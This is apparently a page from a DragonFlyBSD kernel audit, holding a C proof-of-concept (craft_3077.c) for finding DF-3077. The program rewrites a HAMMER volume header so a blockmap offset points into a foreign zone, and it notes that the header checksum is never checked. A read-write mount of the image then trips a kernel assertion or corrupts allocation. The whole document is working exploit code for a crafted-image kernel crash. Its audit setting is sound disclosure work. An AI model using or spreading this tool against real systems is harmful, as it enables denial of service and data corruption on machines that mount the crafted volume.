⬢ DragonFlyBSD Kernel Audit
DF-3077 / craft_3077.c
← back to finding ↓ download raw
/*
 * craft_3077.c - DF-3040-style volume-header patcher for DF-3077:
 * sets vol0_blockmap[HAMMER_ZONE_LARGE_DATA_INDEX].next_offset into a
 * FOREIGN zone nibble (zone+1), so the first data-zone allocation on a RW
 * mount trips the INVARIANTS entry check
 *   KKASSERT(HAMMER_ZONE_DECODE(blockmap->next_offset) == zone)
 * (hammer_blockmap.c:137) or walks off the end without ever equaling the
 * zone-end sentinel (:162).
 *
 * No CRC fixup: vol_crc is never verified (DF-3042).
 * usage: craft_3077 <img> [zone_idx]
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <stddef.h>
#include <hammer_disk.h>

#define OOF(x)  offsetof(struct hammer_volume_ondisk, x)

static void
dump_map(const char *tag, struct hammer_blockmap *bm)
{
	printf("%s: phys=%016jx first=%016jx next=%016jx alloc=%016jx\n",
	       tag, (uintmax_t)bm->phys_offset, (uintmax_t)bm->first_offset,
	       (uintmax_t)bm->next_offset, (uintmax_t)bm->alloc_offset);
}

int
main(int ac, char **av)
{
	struct hammer_volume_ondisk hdr;
	struct hammer_blockmap *bm;
	int fd, zone;
	off_t mapoff;

	if (ac != 2 && ac != 3) {
		fprintf(stderr, "usage: craft_3077 <img> [zone_idx]\n");
		return (2);
	}
	zone = (ac == 3) ? atoi(av[2]) : HAMMER_ZONE_LARGE_DATA_INDEX;

	fd = open(av[1], O_RDWR);
	if (fd < 0) { perror("open"); return (1); }
	if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pread"); return (1);
	}
	if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) {
		fprintf(stderr, "not a hammer volume\n"); return (1);
	}
	mapoff = OOF(vol0_blockmap) + zone * sizeof(struct hammer_blockmap);
	bm = (struct hammer_blockmap *)((char *)&hdr + mapoff);
	dump_map("BEFORE", bm);

	/*
	 * Push next_offset one zone nibble up without ever equaling the
	 * zone-end sentinel: zone+1 base offset.
	 */
	bm->next_offset = HAMMER_ZONE_ENCODE(zone + 1, 0);

	if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pwrite"); return (1);
	}
	dump_map("AFTER ", bm);
	printf("crafted: zone %d next_offset -> %016jx (foreign zone %d)\n",
	       zone, (uintmax_t)bm->next_offset, zone + 1);
	close(fd);
	return (0);
}